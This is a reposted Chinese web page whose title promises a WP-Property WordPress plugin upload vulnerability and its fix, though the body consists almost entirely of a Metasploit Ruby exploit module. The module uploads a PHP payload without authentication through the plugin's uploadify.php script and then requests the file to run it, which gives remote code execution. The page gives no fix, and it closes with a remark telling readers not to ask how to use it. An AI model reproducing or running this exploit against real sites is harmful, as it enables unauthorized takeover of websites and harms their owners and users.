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WordPress WP-Property PHP 文件上传漏洞及修复

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

 WordPress WP-Property PHP 文件上传漏洞

 

 ## # This file is part of the Metasploit Framework and may be subject to

 

# redistribution and commercial restrictions. Please see the Metasploit

 

# Framework web site for more information on licensing and terms of use.

 

#   ##

 

 

require 'msf/core'

require 'msf/core/exploit/php_exe'

 

class Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit::PhpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',

'Description'    => %q{

This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>

[

'Sammy FORGIT', # initial discovery

'James Fitts <fitts.james[at]gmail.com>' # metasploit module

],

'License'        => MSF_LICENSE,

'References'     =>

[

[ 'OSVDB', '82656' ],

[ 'BID', '53787' ],

[ 'EDB', '18987'],

[ 'URL', '' ]

],

'Payload'        =>

{

'BadChars' => "\x00",

},

'Platform'       => 'php',

'Arch'           => ARCH_PHP,

'Targets'        =>

[

[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],

[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]

],

'DefaultTarget'  => 0,

'DisclosureDate' => 'Mar 26 2012'))

 

register_options(

[

OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])

], self.class)

end

 

def check

uri =  target_uri.path

uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',

'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"

})

 

if not res or res.code != 200

return Exploit::CheckCode::Unknown

end

 

return Exploit::CheckCode::Appears

end

def exploit

uri =  target_uri.path

uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)

 

data = Rex::MIME::Message.new

data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")

data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")

post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

 

print_status("#{peer} - Uploading payload #{@payload_name}")

res = send_request_cgi({

'method' => 'POST',

'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",

'ctype'  => "multipart/form-data; boundary=#{data.bound}",

'data'   => post_data

})

 

if not res or res.code != 200 or res.body !~ /#{@payload_name}/

fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")

end

 

upload_uri = res.body

 

print_status("#{peer} - Executing payload #{@payload_name}")

res = send_request_raw({

'uri'    => upload_uri,

'method' => 'GET'

})

end

end

 

不要问我这写的是什么 怎么利用 我是说msf.

 

来自于:

 

,www.xuhantao.com,涛涛电脑知识

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